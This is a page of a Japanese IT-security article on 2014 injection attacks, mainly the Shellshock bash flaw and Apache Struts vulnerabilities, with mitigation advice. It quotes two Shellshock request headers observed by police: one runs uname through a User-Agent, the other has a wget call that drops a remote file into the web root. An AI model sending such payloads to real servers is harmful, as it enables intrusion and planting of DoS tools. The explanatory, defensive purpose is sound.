セキュリティ強化塾
2014年を揺るがしたインジェクション攻撃の手口と対策(3/4 ページ)
OSコマンドインジェクション攻撃の手口と対策
Webアプリケーションによっては外部からOSコマンドを不正に実行される場合がある。OSコマンドを利用すれば、Webアプリケーションの動作権限で可能なあらゆる操作が実行できるため、図2に見るようにファイルの改ざんやウイルス感染、他のサイトへの攻撃、情報漏えいなどの被害が生じる。
bashの脆弱性を利用したOSコマンドインジェクション
最近の例では、「bash」の脆弱性の問題が典型的だ。bashは各種のLinuxやMac OS Xに標準搭載されるシェル(OSカーネルとコマンド入力とを仲介するスクリプト)の1つだ。これに「Shellshock」と呼ばれる、外部からリモートでOSコマンドが実行できる脆弱性があることが2014年9月に明らかになった。
多くのWebサーバで稼働するCGIスクリプトでは、ユーザーのWebブラウザからのユーザーエージェントなどの環境変数を利用するが、CGIスクリプトからbashを呼び出す場合、環境変数に不正にコマンドが仕込まれると、システムの乗っ取りや機密情報の閲覧などが可能になる。
また、管理用のSSHサーバの制限を回避してコマンドが実行される可能性もある他、ウイルスを感染させる攻撃も組み合わせられるなど、さまざまな攻撃に悪用されることが予想される。
ネットワーク機器でも脆弱性のあるbashを利用する場合には同じような危険がある。専門家によると悪用したバックドア設置例が散見されるといい、警察庁ではbashの脆弱性を標的とするアクセスを9月以降多数観測し、12月9日にもその増加について注意喚起を行った。NAS製品を標的とした攻撃が増加している。
手口の一例
警察庁が観測した不正なリクエストの例には次のようなものがある。
OS情報を取得するリクエスト
User-Agent:() { test;};echo "Content-type: text/plain"; echo; echo; /bin/uname -a
ファイルのダウンロード、保存リクエスト
Host: () { :; }; wget [省略]/conf.txt > /var/www/conf.php; [省略]
後者は、外部のサーバ上に存在するファイルをダウンロード(wget)し、Webサーバの公開ディレクトリに保存するというもの。同ファイルを確認すると外部からの指令により任意の対象にDoS攻撃を実行する。
対策
こうした攻撃に対策するにはbashにパッチを適用すればよいのだが、最初の発表以降何度も関連する脆弱性が発見される状況になっており、新バージョンへの更新か、他のシェルへの入れ替えが薦められる。それが難しい場合には、WAFやIDSによって脆弱性のあるサービスへの入力にフィルターをかける回避策を利用することになる。
自社開発アプリケーションに潜む脆弱性への対策
自社開発アプリケーションでは、まずシェルを起動できる言語機能を利用しないようにすることが薦められる。代わりに、既存のライブラリで代替する方法、コマンドライン中に値を埋め込まない方法を検討したい。また、シェルを経由せずにコマンドを呼び出すようにすれば脆弱性は解消できる。
Apache Struts2の脆弱性
bash同様に深刻な問題となったのが、やはり2014年に公表されたApache Software FoundationのApache Strutsの脆弱性だ。これはJavaを用いてWebアプリケーションを構築するための、広く普及したフレームワークだ。Struts1とStruts2はまったく別のフレームワークではあるが、Struts2で見つかった脆弱性がStruts1にも影響することが分かった。
攻撃者がStruts2を利用したWebアプリケーションに細工したリクエストを送信すると、脆弱性により情報の窃取や特定ファイルの操作が可能になるとともに、アプリケーションを一時的に使用できなくすることもできる。
また、操作したファイルにJavaコードが含まれる場合には、任意のコードが実行される可能性があり、システムが乗っ取られることもあり得る。Struts1にも同様の脆弱性がある。
Struts2を利用する場合には、最新バージョンに更新することで脆弱性をカバーできるが、Struts1は既に開発とサポートが終了し、公式のパッチは提供されない。こちらは別のフレームワークへの移行が必要だ。それが難しい場合は、サードパーティーが独自に提供するパッチを利用する方法もある。
Copyright © ITmedia, Inc. All Rights Reserved.
こんなメディアも見られています
キーマンズネットに関連する情報をお探しであれば、こちらのメディアもお役に立てるかもしれません。
SpecialPR
アクセスランキング
-
1
Windows更新後、ローカルサインインも不能に Microsoftが定例外更新で修正
-
2
iPhoneが「再起動後だけ」落ちる怪……犯人は40年前のUNIXコード なぜ今も?:897th Lap
-
3
神戸市、Copilotの弱点を「Dify」でどう解決? あえて自前でAI環境を構築した理由
-
4
AI議事録は「文字起こし」で選ばない 表で分かる「Notta/AutoMemo/AiNote」の特性
-
5
「Gemini Notebook」になって何が変わった? NotebookLMからの変更点をおさらい
-
6
そのFTP、止めて大丈夫? 「古いファイル転送」を残すか見直すか
-
7
入社2年目で月40時間削減 楽天モバイルがAIに任せなかった仕事とは
-
8
Microsoftが進めるCopilot再編 「Microsoft Copilot」への移行で、企業への影響は?
-
9
7歳からのLinux愛好家が、なぜ今「Windows」に? OSの見方が変わった理由:896th Lap
-
10
なぜ「情シス不在」でもIT化が回る? 39人の町工場が15年かけて見つけた答え
キーマンズネット SNS
インフォメーション
注目情報をチェック
キーマンズネットをフォロー